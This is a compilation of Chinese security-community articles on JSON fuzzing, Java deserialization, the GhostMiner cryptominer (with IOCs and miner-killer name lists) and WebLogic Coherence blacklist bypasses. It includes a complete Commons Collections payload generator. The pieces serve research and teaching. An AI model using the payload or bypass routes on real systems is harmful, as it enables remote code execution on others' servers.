last}`），而不希望收到一个字符串。在实现检查过程时，开发者可能没有考虑到`updateProfile`函数如何处理反序列化的JSON数据，因而当name字段为字符串类型时，相应的代码分支可能包含一些bug。我们需要通过fuzz技术来自动尝试这种情况。
在这种场景中，我使用的是[AppBandit](https://secapps.com/appbandit)，但你们也可以选择使用[Fuzzer](https://secapps.com/market/fuzzer)，如果你觉得自己开发的模块更加给力也可以派上用场。之前我已经使用AppBandit以及HTTPView成功完成过这个任务，因此我就不再浪费自己的时间重复造轮子了。
首先，我们可以启动[AppBandit](https://secapps.com/appbandit)，打开新的Fuzzer标签页。我们需要设置一些基本参数，如下图所示。这里的设置比较简单，只是为接下来的操作做准备。
现在我们需要配置JSON文档，以便生成不同的组合方式。为了实现这一目标，我们需要使用JSON Fuzz生成器。转至Body页面，从下拉列表中选择JSON
Fuzz。在第一个字段中，我们需要设置自己的文档。在第二个字段中，我们需要设置待使用的载荷（payload）。
如果我们只是在载荷字段中输入一个简单的字符串，那么程序会将其当成字符串来使用。比如，如果载荷为“test”，那么JSON Fuzz生成器会生成如下两个文档：
{
"profile": {
"name": "test",
"age": 40
}
}
以及
{
"profile": {
"name": "Bob",
"age": "test"
}
}
然而这对我们查找漏洞来说帮助不大，因此我们需要使用其他生成器，提取更多的值。我们可以在下拉列表中选择字典生成器，从字典的下拉列表中选择FuzzDB，然后选择“attack/json/JSON_Fuzzing.txt”。需要记住的是，[AppBandit](https://secapps.com/appbandit)默认情况下不会内嵌这些字典，如果我们需要可以随时下载。
现在我们已经加载了这些列表，我们也可以编辑并添加自己的测试载荷，只要觉得有用我们就可以往里面添加任何数据，更多的载荷会带来更好的fuzz效果。我们还可以使用箭头按钮来预览载荷的生成过程。请注意，目前我们已经将载荷以正确的方式引入JSON格式中，也就是说载荷会被解释成为字符串。
这并不是我们想要的效果。我们想要的是使用原始的JSON，为了实现这个目标，我们需要勾选“Parse payload”以及“Ignore payload
parsing errors”选项。现在载荷已经可以正确生成，如下图所示。
目前数据已生成完毕。退出生成器，使用箭头按钮循环检查一下fuzzer载荷，看一切是否已准备就绪。
在我们点击“Play”按钮之前，我想稍微多配置一下。我们可以设置请求超时参数，也可以将最大连接数增加到60，这样测试起来速度能够快一些。
有些情况下，由于某些原因程序可能没有按我们设想的方式工作。这时候不要气馁，如果出现这种情况，我们可以点击[Fork](https://secapps.com/features/fork)按钮，创建当前配置的完整副本，然后执行另一次测试，这操作起来非常容易。
测试完成后，接下来我们需要分析测试结果，看目标服务有没有出现奇怪的数据。这个过程背后并没有什么深奥的科学，我们只需要简单地浏览输出结果，查找其中的异常行为，如果我们使用[AppBandit](https://secapps.com/appbandit)的Resend工具，就可以确认异常行为，然后再进一步挖掘或者利用异常点。
## 三、总结
我知道这篇文章无法覆盖所有的内容，这是一个开放式问题，大家可以好好讨论一下。与SQL注入、跨站脚本攻击以及本地文件包含问题不同，这并不是非常标准的预定义漏洞。话句话说，我们无法注入一些好玩的字符来实现代码执行。然而，如果使用正确的JSON载荷，我们可以控制代码，最终找到脆弱点。尽管本文中我没有举任何实际的测试场景，然而可以肯定的是，在许多情况下我们可以使用这种方法得到有趣并且能够利用的漏洞结果。 | 社区文章 |
# Java反序列化漏洞浅析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
由于本人并非JAVA程序员，所以对JAVA方面的知识不是很懂，仅仅是能看懂而已。本文参照几位大佬的博客进行归纳总结，简单阐述了JAVA反序列化漏洞的原理以及Payload的构造。
## 反序列化漏洞
JAVA反序列化漏洞到底是如何产生的？
1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能，于是攻击者可以通过构造特定的恶意对象序列化后的流，让目标反序列化，从而达到自己的恶意预期行为，包括命令执行，甚至
getshell 等等。
2、Apache Commons Collections是开源小组Apache研发的一个 Collections
收集器框架。这个框架中有一个InvokerTransformer.java接口，实现该接口的类可以通过调用java的反射机制来调用任意函数，于是我们可以通过调用Runtime.getRuntime.exec()
函数来执行系统命令。Apache commons collections包的广泛使用，也导致了java反序列化漏洞的大面积流行。
所以最终结果就是如果Java应用对用户的输入做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化过程执行我们自定义的命令，从而实现远程任意代码执行。
在说反序列化漏洞原理之前我们先来说说JAVA对象的序列化和反序列化
## 序列化和反序列化
序列化 (Serialization)：将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间，对象将其当前状态写入到临时或持久性存储区。
反序列化：从存储区中读取该数据，并将其还原为对象的过程，称为反序列化。
简单的说，序列化和反序列化就是：
· 把对象转换为字节序列的过程称为对象的序列化
· 把字节序列恢复为对象的过程称为对象的反序列化
对象序列化的用途：
· 把对象的字节序列永久地保存到硬盘上，通常存放在一个文件中
· 在网络上传送对象的字节序列
当两个进程在进行远程通信时，彼此可以发送各种类型的数据。无论是何种类型的数据，最终都会以二进制的形式在网络上传送。发送方需要把这个Java对象序列化；接收方收到数据后把数据反序列化为Java对象。
通常，对象实例的所有字段都会被序列化，这意味着数据会被表示为实例的序列化数据。这样，能够解释该格式的代码就能够确定这些数据的值，而不依赖于该成员的可访问性。类似地，反序列化从序列化的表示形式中提取数据，并直接设置对象状态。
对于任何可能包含重要的安全性数据的对象，如果可能，应该使该对象不可序列化。如果它必须为可序列化的，请尝试生成特定字段来保存重要数据。如果无法实现这一点，则应注意该数据会被公开给任何拥有序列化权限的代码，并确保不让任何恶意代码获得该权限。
在很多应用中，需要对某些对象进行序列化，让它们离开内存空间，入住物理硬盘，以便长期保存。比如最常见的是Web服务器中的Session对象，当有
10万用户并发访问，就有可能出现10万个Session对象，内存可能吃不消，于是Web容器就会把一些seesion先序列化到硬盘中，等要用了，再把保存在硬盘中的对象还原到内存中。
## JAVA WEB中的序列化和反序列化
· java.io.ObjectOutputStream 代表对象输出流，它的 writeObject()
方法可对参数指定的对象进行序列化，把得到的字节序列写到一个目标输出流中
· java.io.ObjectInputStream 代表对象输入流，它的 readObject()
方法从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回
只有实现了 **Serializable** 和 **Externalizable** 接口的类的对象才能被序列化和反序列化。Externalizable
接口继承自 Serializable 接口，实现 Externalizable 接口的类完全由自身来控制反序列化的行为，而实现 Serializable
接口的类既可以采用默认的反序列化方式，也可以自定义反序列化方式。
**对象序列化包括如下步骤：**
1. 创建一个对象输出流，它可以包装一个其他类型的目标输出流，如文件输出流
2. 通过对象输出流的 writeObject() 方法将对象进行序列化
**对象反序列化的步骤如下：**
1. 创建一个对象输入流，它可以包装一个其他类型的源输入流，如文件输入流
2. 通过对象输入流的 readObject() 方法将字节序列反序列化为对象
### 对象序列化和反序列范例
定义一个User类，实现Serializable接口
import java.io.IOException;
import java.io.Serializable;
public class User implements Serializable{
private String name;
public String getName(){
return name;
}
public void setName(String name){
this.name=name;
}
}
定义主类，对User对象进行序列化和反序列化
import java.io.*;
public class Main {
public static void main(String[] args) {
Main m = new Main();
try{
m.run(); //序列化
m.run2(); //反序列化
} catch (IOException |ClassNotFoundException e) {
e.printStackTrace();
}
}
public void run() throws IOException{
FileOutputStream out = new FileOutputStream("test.txt"); //实例化一个文件输出流
ObjectOutputStream obj_out=new ObjectOutputStream(out); //实例化一个对象输出流
User u = new User();
u.setName("谢公子");
obj_out.writeObject(u); //利用writeObject方法将序列化对象存储在本地
obj_out.close();
System.out.println("User对象序列化成功！");
}
public void run2() throws IOException, ClassNotFoundException {
FileInputStream in = new FileInputStream("test.txt"); //实例化一个文件输入流
ObjectInputStream ins = new ObjectInputStream(in); //实例化一个对象输入流
User u = (User)ins.readObject(); //利用readObject方法将序列化对象转为对象
System.out.println("User对象反序列化成功！");
System.out.println(u.getName());
ins.close();
}
}
运行结果
同时，会在当前文件夹生成一个 test.txt 用来存储序列化的对象，内容如下：
## JAVA中执行系统命令
我们先来看看JAVA中执行系统命令的方法，通过执行Runtime.getRuntime().exec()函数执行 calc.exe 命令
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.nio.charset.Charset;
public class Main {
public static void main(String[] args) throws IOException, InterruptedException {
Process p = Runtime.getRuntime().exec("calc.exe");
java.io.InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK"))); //设置读取的时候的编码为GBK
p.waitFor();
if(p.exitValue()!=0){
//说明命令执行失败
}else{
String s = null;
while((s=reader.readLine())!=null){
System.out.println(s);
}
}
}
}
运行结果
### 重写readObject()方法
我们上面说到了可以通过重写 readObject() 方法来自定义类的反序列化方式。所以，我们将User类的 readObject() 进行重写
import java.io.*;
public class User2 implements Serializable{
private String name;
public String getName(){
return name;
}
public void setName(String name){
this.name=name;
}
private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
//先调用默认的readObject()方法
in.defaultReadObject();
//重写，执行系统命令calc.exe
Process p = Runtime.getRuntime().exec("calc.exe");
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
p.waitFor();
if(p.exitValue()!=0){
//说明执行系统命令失败
}
String s = null;
while((s=reader.readLine())!=null){
System.out.println(s);
}
}
}
主类中的代码不变，我们再来执行序列化和反序列化过程。可以看到，除了执行了对象的序列化和反序列化之外，还执行了我们自定义的系统命令的代码。
## Apache Commons Collections
项目地址：<http://commons.apache.org/proper/commons-collections/download_collections.cgi>
Apache Commons Collections
是一个扩展了Java标准库里集合类Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons
Collections被广泛应用于各种Java应用的开发。
Commons Collections
实现了一个TransformedMap类，该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时，自动对该元素进行特定的修饰变换，具体的变换逻辑由Transformer类定义，Transformer在TransformedMap实例化时作为参数传入。
我们可以通过TransformedMap.decorate()方法，获得一个TransformedMap的实例。如下代码是TransformedMap.decorate()方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer是一个接口，其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示
public interface Transformer {
public Object transform(Object input);
}
当TransformedMap中的任意项的Key或者Value被修改，相应的Transformer的transform()方法就会被调用。除此以外，多个Transformer还能串起来，形成ChainedTransformer。
Apache Commons Collections中已经实现了一些常见的 Transformer，其中的
InvokerTransformer接口实现了反射链，可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令
传送门——>
[InvokerTransformer反射链](https://blog.csdn.net/qq_36119192/article/details/85058806#%E5%8F%8D%E5%B0%84%E9%93%BE)
在上面的 InvokerTransformer反射链 这篇文章中我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令。
但是目前的构造还需要依赖于修改Map中的Value值去触发调用反射链，我们需要想办法通过readObject()直接触发。
如果某个可序列化的类重写了readObject()方法，并且在readObject()中对Map类型的变量进行了键值修改操作，并且这个Map参数是可控的，就可以实现我们的攻击目标了。
于是，我们找到了这个类： **AnnotationInvocationHandler** ，这个类有一个成员变量
memberValues是Map<String,Object>类型，并且在重写的 readObject() 方法中有
memberValue.setValue() 修改Value的操作。简直是完美！
于是我们可以实例化一个AnnotationInvocationHandler类，将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化，提交给未做安全检查的Java应用。Java应用在进行反序列化操作时，执行了readObject()函数，修改了Map的Value，则会触发TransformedMap的变换函数transform()，再通过反射链调用了Runtime.getRuntime.exec(“XXX”)
命令，最终就可以执行我们的任意代码了，一切是那么的天衣无缝！
## 反序列化漏洞payload
· 反序列化时会执行对象的readObject()方法
· Runtime.getRuntime.exec(“xx”)可以执行系统命令
·
InvokerTransformer的transform()方法可以通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
· TransformedMap类的decorate方法用来实例化一个TransformedMap对象，即public static Map
decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
，第二个和第三个参数传入一个Transformer，当key值和Value值改变时，会调用Transformer的transformer()方法。于是我们可以将第三个参数传入
InvokerTransformer
Payload构造思路：我们构造恶意的类：AnnotationInvocationHandler，将该类的成员变量memberValues赋值为我们精心构造的TransformedMap对象，并将AnnotationInvocationHandler类进行序列化，然后交给JAVA
WEB应用进行反序列化。再进行反序列化时，会执行readObject()方法，该方法会对成员变量TransformedMap的Value值进行修改，该修改触发了TransformedMap实例化时传入的参数InvokerTransformer的transform()方法，InvokerTransformer.transform()方法通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令
如下代码，我们通过构造恶意的类AnnotationInvocationHandler并将其序列化保存在
payload.bin文件中，只要将它给存在反序列化漏洞的JAVA WEB 应用进行反序列化就能执行我们的命令了。
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class main2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers); //实例化一个反射链
Map innerMap = new HashMap(); //实例化一个Map对象
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //将Map对象和反射链作为参数传入
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //得到 AnnotationInvocationHandler类的字节码文件
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap); //得到我们构造好的 AnnotationInvocationHandler类实例
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(f); //创建一个对象输出流
out.writeObject(instance); //将我们构造的 AnnotationInvocationHandler类进行序列化
out.flush();
out.close();
}
}点击并拖拽以移动
##
## JAVA Web反序列化漏洞的挖掘和利用
1：漏洞触发场景
在java编写的web应用与web服务器间通常会发送大量的序列化对象例如以下场景：
· HTTP请求中的参数，cookies以及Parameters。
· RMI协议，被广泛使用的RMI协议完全基于序列化
· JMX 同样用于处理序列化对象
· 自定义协议 用来接收与发送原始的java对象
2：漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用，在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找：
1)源码审计：寻找可以利用的“靶点”，即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包，寻找序列化数据，java序列化的数据一般会以标记（ac ed 00 05）开头，base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
相关文章：[JAVA反序列化漏洞复现](https://blog.csdn.net/qq_36119192/article/details/90716180)
参考文章：[Java反序列化漏洞从无到有](https://www.freebuf.com/column/155381.html)
[Lib之过？Java反序列化漏洞通用利用分析](https://www.secpulse.com/archives/40420.html)
[Java反序列化漏洞分析](https://www.cnblogs.com/ssooking/p/5875215.html)
[Commons Collections
Java反序列化漏洞深入分析](https://blog.csdn.net/bigtree_3721/article/details/51263780)
如果你想和我一起讨论的话，那就加入我的知识星球吧！ | 社区文章 |
# GhostMiner：无文件挖矿的新姿势
##### 译文声明
本文是翻译文章，文章来源：blog.minerva-labs.com
原文地址：<https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless>
译文仅供参考，具体内容表达以及含义原文为准。
## 一.写在前面的话
近年来，越来越多的犯罪分子正在利用恶意软件来谋求暴利。比如2017年底爆发的[WaterMiner](https://blog.minerva-labs.com/waterminer-a-new-evasive-crypto-miner)恶意挖矿软件,到了2018年，犯罪分子更是升级了技术并使用一些更加先进的[工具包](https://blog.malwarebytes.com/threat-analysis/2018/01/rig-exploit-kit-campaign-gets-deep-into-crypto-craze/)来逃避各种检测。虽然安全厂商对此很快做出反应,然而，网络犯罪分子仍然领先于防御者。比如这一次攻击者使用了一项无文件技术来逃避检测，本文将介绍Minerva团队如何剖析这次GhostMiner攻击，并深入研究了恶意挖矿软件是如何利用先进的无文件技术来挖掘Monero币并在全球范围内悄悄地传播，而且还意外发现这些恶意软件之间些不为人知的秘密，研究人员还通过分析恶意软件的脚本来删除其他恶意软件。是不是很有意思？我们来看看怎么做到的吧！
## 二.解剖GhostMiner
### 1.无文件框架的使用
GhostMiner组件以一个恶意Windows可执行文件为核心。为了防止被杀软发现，可执行文件嵌套于PowerShell框架——[Out-CompressedDll](https://github.com/PowerShellMafia/PowerSploit/blob/master/ScriptModification/Out-CompressedDll.ps1)和[Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1)之中。并采用无文件技术来隐藏恶意程序。
其中每个组件都是从不同的PowerShell脚本启动的：
ps1：负责传染新的受害者，
ps1（或x64机器上的WMI64.ps1）：挖掘Monero币
这种方法可以非常有效的绕过安全工具的检测，我们使用杀软引擎扫描，发现许多安全软件并没有报毒，下面是扫描[报告](https://www.virustotal.com/#/file/40a507a88ba03b9da3de235c9c0afdfcf7a0473c8704cbb26e16b1b782becd4d/detection)
测试结果可以和这个[可执行文件](https://www.virustotal.com/#/file/97e1338de44f8c8799e2d0e0f32a1362a6084004ec64c754950e8bde50a33735/detection)做对比，他们是同一个程序，但是没有使用无文件技术，扫描结果显而易见———41个安全扫描器都检测到恶意代码
### 2.传播GhostMiner
GhostMiner的传播是通过Neutrino.ps1部分来实现，它会不断寻找并攻击运行以下应用程序的服务器：
1.Oracle的WebLogic服务器（使用[CVE-2017-10271](https://nvd.nist.gov/vuln/detail/CVE-2017-10271)漏洞，FireEye
已[报告](https://www.fireeye.com/blog/threat-research/2018/02/cve-2017-10271-used-to-deliver-cryptominers.html)类似案例）
2.MSSQL
3.phpMyAdmin
虽然GhostMiner可以针对多个潜在的应用程序，但进过分析我们发现它只攻击WebLogic服务器。我们还发现恶意软件通过随机扫描IP并与IP创建大量TCP连接的方式，找到可攻击的目标。
恶意软件为了避免被网络安全工具检测到，在攻击部分还通过Base64编码的HTTP请求来与其C2服务器通信。其中通信使用了一个简单的握手协议，然后客户端向C2请求执行各种任务，如感染其他服务器或截屏。一旦任务完成，客户端将向C2报告并请求另一项任务：
我们可以看看下面的例子，出于保密原因，原始编码的消息我们经过一些特殊处。但不影响我们分析，其中这个请求（红色部分）包含了被感染服务器的标识符和新任务请求，响应（蓝色部分）命令恶意软件随机寻找可利用的WebLogic服务器：
请特别注意请求头Referer是硬编码的：其中qq.com是最受欢迎的中文网站。这与我们发现的其他指标一样，表明攻击者费尽心思构造恶意的HTTP请求来隐藏数据。
## 三.如何利用GhostMiner挖矿
上面说过，挖矿组件本身利用框架直接从内存中启动。它是基于开源XMRig项目的微小定制版本，你可以在抓包的流量中发现这一点。
有趣的是，我们在分析这个软件时发现这个程序已经悄悄运行了大约三周时间：
截至本文发布，这个XMR钱包已经累计1.03XMR，相当于200美元。可惜的是，由于Monero的匿名功能，所以我们无法检测到钱包地址的所有者。
## 四.‘矿工’之间的明争暗斗
在恶意软件行业，恶意挖矿软件之间的竞争远比我们想像的激烈，毕竟只有消灭对手才能更好利用资源，在研究这些样本中，我们也发现许多以前没有报道的新技术：
1.使用PowerShell的“Stop-Process -force”命令杀死正在运行的‘矿工’。
2.停止并删除黑名单中‘矿工’名称的exe进程。
3.停止运行可疑的exe进程。
4.通过命令行参数停止和删除‘矿工’进程。
5.通过查看已建立的TCP连接列表来停止并删除‘矿工’（查找与‘矿工’相关的端口）
过去，Xavier Mertens（[@xme](https://github.com/xme
"@xme")）等恶意软件研究人员建议，维护者可以使用与我们在IOC列表（下面提供的）中“competitors
killer”相似的脚本来检测系统上是否存在恶意‘矿工’。但现在我们有个更好的建议，使用“killer
script”作为辅助工具。参考Minerva的研究团队的[GitHub](https://github.com/MinervaLabsResearch/BlogPosts/tree/master/MinerKiller)中他们提供的脚本。编写属于自己的PowerShell脚本来移除恶意的‘矿工’是一个更好的方法。其中脚本可以根据‘矿工’的某些特征或可疑的TCP连接，来结束进程，任务或服务。但也要注意的是，MinerKiller只是按照某些特征来判断，所以它可能会停止甚至删除一些重要的进程！
## 五.后记
有兴趣了解更多关于Minerva事情吗？我们将在RSA 2018的Moscone
South的2329号展位演示，或者在4月15日旧金山BSides听到我们，我们会和联合Omri
Moyal创始人谈论Coinminers的兴起。[申请地址](https://cta-service-cms2.hubspot.com/ctas/v2/public/cs/c/?cta_guid=febc6fe3-8539-44c2-a101-908504bc01a2&placement_guid=e50b874a-11bf-45d8-b642-d0e70d6fae97&portal_id=1903456&redirect_url=APefjpG93PnP-FlXYrpXF1WbuNy8JEbUmgG2WuWvFRsI8v-NlyjMIkWdHYoiZPBUomMLVpFSjpWyyjYdkNSqdIhjNEL6-lOomjt2upYpLIeC59dx8aO2186zn5QNuhj4Jx-4uJr41k1Sll7D9EfzHNDwXI0yBUinS1HwsX7UuBNEcI8AXOgNp4DP1x91hjN4u1MTc6nFpvkozQZjl2qCcG5fCJgEZCPBZd-XkI3ms_awauPd8vs0gUQ&hsutk=ea1370f3d41e5144eac51e5de8b14ccd&canon=https%3A%2F%2Fblog.minerva-labs.com%2Fghostminer-cryptomining-malware-goes-fileless&click=ba59585c-ae5e-48e7-8c5e-b8b2675bef1c)
### IOCs
C2IP地址:
123[.]59[.]68[.]172
散列(SHA-256)：
Neutrino.ps1:
4b9ce06c6dc82947e888e919c3b8108886f70e5d80a3b601cc6eb3752a1069a1
9a326afeeb2ba80de356992ec72beeab28e4c11966b28a16356b43a397d132e8
WMI.ps1:
40a507a88ba03b9da3de235c9c0afdfcf7a0473c8704cbb26e16b1b782becd4d
WMI64.ps1:
8a2bdea733ef3482e8d8f335e6a4e75c690e599a218a392ebac6fcb7c8709b52
Associated Monero address:
43ZSpXdMerQGerimDrUviDN6qP3vkwnkZY1vvzTV22AbLW1oCCBDstNjXqrT3anyZ22j7DEE74GkbVcQFyH2nNiC3fchGfc
“Killer” script:
服务名称
xWinWpdSrv
SVSHost
Microsoft Telemetry
lsass
Microsoft
system
Oracleupdate
CLR
sysmgt
gm
WmdnPnSN
Sougoudl
Nationaaal
Natimmonal
Nationaloll
任务名称
Mysa
Mysa1
Mysa2
Mysa3
ok
Oracle Java
Oracle Java Update
Microsoft Telemetry
Spooler SubSystem Service
Oracle Products Reporter
Update service for products
gm
ngm
进程名称
msinfo
xmrig
minerd
MinerGate
Carbon
yamm1
upgeade
auto-upgeade
svshost
SystemIIS
SystemIISSec
WindowsUpdater
WindowsDefender
update
carss
service
csrsc
cara
javaupd
gxdrv
lsmosee
‘矿工’相关服务器侧TCP端口
1111
2222
3333
4444
5555
6666
7777
8888
9999
14433
14444
45560
65333
55335
’矿工‘有关命令行参数
cryptonight
stratum+
—donate-level
—max-cpu-usage
-p x
pool.electroneum.hashvault | 社区文章 |
之前这个补丁没有修好，有CVE-2021-2135和CVE-2021-2136两种绕过，让陈师傅下架了。挖不动，把之前思路再发出来，等下个补丁日向师傅们学习了。
获得噱头oracle公开致谢
当时交了三个链，但是因为最后在同一个地方修复的oracle只算了一个cve，下文分成case1，case2，case3来讲。
## CASE 1
最初引起我注意的是ExternalizableLite#readExternalizableLite，可以看到这里直接从数据流里面读取了类名并新建对象。
下面又会调用value自身的readExternal((DataInput)in)方法。
新建出来的对象会调用自己的readExternal。
当对象构造好之后又会在realize中调用readResolve方法
结合这里三点来看，相当于是一个免黑名单检查的反序列化场景。
我们只需要往上回朔，看能否到反序列化的入口点就行了。
然后全局搜com.tangosol.util.ExternalizableHelper#readObject(java.io.DataInput)，可以在很多类的readExternal(java.io.DataInput)中看到这样的调用。
回朔到这一步的时候我还以为成了，但是测了一下发现，在反序列化的时候java根本不会调用这个方法。因为这里函数的签名是readExternal(java.io.DataInput)而不是正统的readExternal(java.io.ObjectInput)。
有些不甘心，于是乎把coherence.jar里面的readExternal(java.io.ObjectInput)全部抓了出来。
com.oracle.common.internal.util.Histogram
com.tangosol.util.MapSet
com.tangosol.util.Binary
com.tangosol.util.LiteSet
com.tangosol.util.UUID
com.tangosol.util.LiteMap
com.tangosol.run.xml.SimpleDocument
com.tangosol.run.xml.XmlBean
com.tangosol.util.ConcurrentMap$1
com.tangosol.coherence.component.net.Member
com.tangosol.net.security.PermissionInfo
com.tangosol.coherence.mvel2.util.FastList
数量不是很多，一个一个手工看。很快啊，我啪一下就点到com.oracle.common.internal.util.Histogram#readExternal(java.io.ObjectInput)里面了。
这个地方有强制类型转换，那么刚才的链路不就续上了？
继续跟进，再一次失望，发现这里只读取长整型，并没有调用readObject。
然后接下来的所有类要么是转换成了DataInput但是没有readObject。要么是根本就没有强制转换。
还是不甘心，又看了一遍，在com.tangosol.net.security.PermissionInfo#readExternal(java.io.ObjectInput)处事情出现转机。
我发现在调用readCollection的时候传入的ObjectInput in会被隐式转换成DataInput in，并且里面刚好有readObject。
到这里一条从readExternal(java.io.ObjectInput)
到无视黑名单的反序列化路线在理论上似乎已打通，接下来的就是gadget后半段是选择，立马想到的是TemplatesImpl和RemoteConstructor（CVE-2020-14644）。我选择了后者，把payload构造好，再打上10月补丁（感谢给我补丁的师傅）一发入魂。
ps：这里readExternal(java.io.ObjectInput) ->
无视黑名单的readObject的结论是不严谨的，选择TemplatesImpl也是打不通的，这个原因后面会解释。确实很尴尬，虽然能RCE，但是当时急于验证并未全流程调试过，对这个洞的理解比较片面。
至此第一个洞就结束了，当晚就给官方提漏洞。后面的几天我在反思这个洞，
1. 为什么我能挖到？我想我能挖到原因是 ~~weblogic官方没有bug bounty~~ 前人可能没有注意到有进入到readExternal(DataInput in)通路。
2. 为什么readExternal(ObjectInput in)可以续上？我想因为readExternal本来就是给程序员自定义反序列化数据的地方，而readExternal(DataInput in)里面是coherence自己的反序列化逻辑，所以从ObjectInput in能到DataInput in算是题中应有之义。
3. 这种反序列化绕过方式属于哪种类型？我想应该是二阶反序列化类型。
## CASE 2
几天后，我收到了官方回复的邮件，从它们回复中可以看到它们把这个链关键认定为RCE involving
LambdaIdentity。此时，我觉得很奇怪难道后半段不是可以灵活吗？如果我重新找一个新入口配上7u21后半段岂不是能再混一个CVE？。然后抓了一下整个coherence
lib目录下的所有jar包的readExternal(java.io.ObjectInput) 。
com.oracle.common.internal.util.Histogram
com.tangosol.util.MapSet
com.tangosol.util.Binary
com.tangosol.util.LiteSet
com.tangosol.util.UUID
com.tangosol.util.LiteMap
com.tangosol.run.xml.SimpleDocument
com.tangosol.run.xml.XmlBean
com.tangosol.util.ConcurrentMap$1
com.tangosol.coherence.component.net.Member
com.tangosol.net.security.PermissionInfo
com.tangosol.coherence.mvel2.util.FastList
com.tangosol.coherence.servlet.AbstractHttpSessionModel
com.tangosol.coherence.servlet.AttributeHolder
倒数两个是比上次只跑conherence.jar多出来的，经过验证在conherence-web.jar中的com.tangosol.coherence.servlet.AttributeHolder满足条件。
把TemplatesImpl打到m_Value之后，发送payload后发现控制台报错。发生肾么事了？我一看，哦原来啊是没过黑名单，这就引起了对这个漏洞细节的进一步探究。
在com.tangosol.util.ExternalizableHelper#readObjectInternal下断点可以看到它并没进入，预期的readExternalizableLite而是进入了readSerializable中
在readObject中DataInput in会重新“转换”回带黑名单的InputStream，所以失败。
此时，心理又有两个疑问
1. 输入流为我所控，那我把nType改成10，强行进入readExternalizableLite行不行？
2. 为什么RemoteConstructor可以打成功？
首先回答第一个问题，可以但是行不通，就算真的把TemplatesImpl new出来了之后的强转也过不了。
其次，就算真的成功他也没有readExternal方法（即没有实现ExternalizableLite接口）。
到这里RemoteConstructor可以打的原因也很明显了RemoteConstructor实现了ExternalizableLite接口。
所以这个攻击面的利用条件是：
1. 一个java.io.ObjectInput强转成java.io.DataInput的点
2. 强转成java.io.DataInput后需要有进行ExternalizableHelper.readObject的操作
3. 一个实现了ExternalizableLite的接口高危类
不过这已经足够了，因为conherence里面的Extractor都实现这个接口。
一开始，我其实是想手工挖的，那段时间真的是看的我头皮发麻，而且因为实现了ExternalizableLite接口是在是太多也很难保证自己完全不重不漏，大多数readExternal里面都只有赋值没有别的操作，休息了几天后我决定用魔法打败魔法，拿之前写的自动化工具跑。结合历史漏洞我决定以readExternal(DataInput
in)为source，以com.tangosol.util.extractor.AbstractExtractor#compare为sink开动化跑。
跑了一会，从一堆误报中看到了希望的曙光。
最后证明了这个确实可行。
## CASE 3
在手工看的那段时间，虽然头皮发麻但并不是没有收获，看了几个版本的weblogic经历了“卧槽,这里怕不是有洞"到"卧槽,被黑名单全防住了，全防出去了啊"很多次后，我隐约觉得coherence已经可以造成危害的点全部加入黑名单套餐了，不会有全新的链了（等被打脸），但二阶反序列化的点还有机会！
这次引起我注意的是com.tangosol.coherence.jcache.common.CoherenceEntryProcessorResult。可以看到在反序列化时它会读一个Binary进来，然后对Binary进行一个fromBinary的操作。
我注意到com.tangosol.util.ExternalizableHelper#fromByteArray中会把byte[]数组重建成BufferInput进行反序列化，因为重建所以没有黑名单过滤。
这个时候，我感觉又成了。构造好payload打过去，被weblogic防出去了。一看，是2找不到类，后面确认了一下，这个类在coherence-jcahe.jar里面，这个包并没有被weblogic加载进来。
